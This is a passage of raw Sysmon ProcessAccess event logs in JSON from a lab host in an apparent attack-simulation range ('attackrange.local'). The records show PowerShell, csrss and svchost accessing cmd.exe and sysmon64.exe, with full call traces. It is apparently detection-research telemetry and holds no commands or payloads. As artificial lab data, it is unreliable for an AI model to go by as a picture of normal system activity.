41e0ead\\System.Management.Automation.ni.dll+3c12485e(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.931","SourceProcessGUID":"{90617006-416C-5F2D-0000-0010CDF10700}","SourceProcessId":"4176","SourceThreadId":"4696","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-416C-5F2D-0000-0010B0FD0700}","TargetProcessId":"4636","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3ccc2f1d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c163ff7(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c163cc8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3cc150dd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c12485e(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c182d2d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c166392(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c166392(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c166392(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c166223(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c1581a8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c1646db(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c164277(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c163ff7(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c163cc8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3cc150dd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c12485e(wow64)","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5104,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.931\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-416C-5F2D-0000-0010B0FD0700}\r\nTargetProcessId: 4636\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.931","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-416C-5F2D-0000-0010B0FD0700}","TargetProcessId":"4636","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5105,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.931\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.931","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5106,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.931\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.931","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5107,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.931\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.931","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5108,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.931\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.931","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5109,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.931\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.931","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5110,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.947\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:28.947","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5111,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:28.947\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 